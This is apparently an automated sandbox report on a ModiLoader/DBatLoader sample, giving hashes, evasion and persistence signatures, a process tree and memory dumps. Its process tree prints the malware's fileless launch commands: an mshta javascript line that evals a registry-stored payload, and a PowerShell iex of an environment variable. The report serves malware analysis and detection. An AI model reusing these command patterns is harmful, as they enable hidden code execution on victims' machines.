Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    09-05-2024 05:17

General

  • Target

    287546291003d27911be77003c9f4b15_JaffaCakes118.exe

  • Size

    331KB

  • MD5

    287546291003d27911be77003c9f4b15

  • SHA1

    324a45d70ead25255d8a35a56583970497df377d

  • SHA256

    07f6d9e83f537600594c31b3602732e673876773d011ad3827d3b4bfd90263b3

  • SHA512

    008c0c4814ef08ebbf18d801272fad6fac177f493a0f1b96ce6492d84f651d23fe6c528f526dfd87c8ba7f37686f945c33a4c33b5dd07b866df595b93a5af3d5

  • SSDEEP

    6144:rTlX2afUVMJnGGYONpiG/rpdOpMvh6EEpv6UIFcqiWEiHUpoS1:nlX2afBFOyXbaqigUB

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 57 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\287546291003d27911be77003c9f4b15_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\287546291003d27911be77003c9f4b15_JaffaCakes118.exe"
    1⤵
      PID:2004
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:GKBqf6mf="F";R05S=new%20ActiveXObject("WScript.Shell");w3MG4CAce="YJrSyq";xj9Ap=R05S.RegRead("HKCU\\software\\j6Fhex9tyP\\Tr4yCkO");GmQU1xt8r="BYb";eval(xj9Ap);MhcE9hi="YIBlT";
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:qfcekn
        2⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\SysWOW64\regsvr32.exe
          regsvr32.exe
          3⤵
          • Looks for VirtualBox Guest Additions in registry
          • Looks for VirtualBox drivers on disk
          • Looks for VMWare Tools registry key
          • Checks BIOS information in registry
          • Deletes itself
          • Adds Run key to start application
          • Maps connected drives based on registry
          • Suspicious use of SetThreadContext
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2316
          • C:\Windows\SysWOW64\regsvr32.exe
            "C:\Windows\SysWOW64\regsvr32.exe"
            4⤵
              PID:1572

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\d866a3c3\1ac3c0ce.5ad3c886b

        Filesize

        10KB

        MD5

        1b796a409e3815fbee3b0df0b93ce5cb

        SHA1

        a2c1d25267488e89e049cc4bd2ff73b4d0ae9d9c

        SHA256

        c34610c4f8423f7e17f4ea700538f8601894b7fddcc298eea0aa2196690b70fc

        SHA512

        ab7330a5bae575cf652de8393f8c999323ce1edd84554d92c03ce8391d5829418e543e741501945211d175bcc0d9fdae8159d66c15462dd2f588bbbc11e429e0

      • C:\Users\Admin\AppData\Local\d866a3c3\2abf568c.bat

        Filesize

        73B

        MD5

        0c60a13c35116856eb68ae26ad383e07

        SHA1

        ae886390ca29a34426616671bc10dfaab4897f9a

        SHA256

        1e2fb66aba49e5eb8a0f55f67ee1d671732295e8e89895f64ad4d4ea178636aa

        SHA512

        077c045eec1488133fe44b17084cf5f31bb5beedd7894e727a38411d495511773415c6a9dc32c5c0334b425dfa65d464d825d0be8368f546be5010d28f1bca51

      • memory/1572-71-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-67-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-66-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-61-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-69-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-73-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-64-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-63-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-72-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-70-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-62-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-65-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/1572-68-0x00000000001F0000-0x000000000033A000-memory.dmp

        Filesize

        1.3MB

      • memory/2004-7-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-1-0x0000000000452000-0x0000000000454000-memory.dmp

        Filesize

        8KB

      • memory/2004-0-0x0000000000400000-0x000000000045A5E8-memory.dmp

        Filesize

        361KB

      • memory/2004-55-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-3-0x0000000000400000-0x000000000045A5E8-memory.dmp

        Filesize

        361KB

      • memory/2004-9-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-6-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-8-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-2-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-4-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2004-5-0x0000000001DF0000-0x0000000001ECC000-memory.dmp

        Filesize

        880KB

      • memory/2316-37-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-24-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-40-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-38-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-41-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-35-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-33-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-32-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-31-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-30-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-29-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-28-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-27-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-34-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-23-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-26-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-22-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-39-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-20-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-19-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-49-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-50-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-52-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-51-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-48-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-47-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-46-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-36-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-25-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-21-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-15-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2316-16-0x0000000000160000-0x00000000002AA000-memory.dmp

        Filesize

        1.3MB

      • memory/2588-18-0x0000000006140000-0x000000000621C000-memory.dmp

        Filesize

        880KB

      • memory/2588-14-0x0000000006140000-0x000000000621C000-memory.dmp

        Filesize

        880KB

      • memory/2588-13-0x0000000002CA0000-0x0000000002CA1000-memory.dmp

        Filesize

        4KB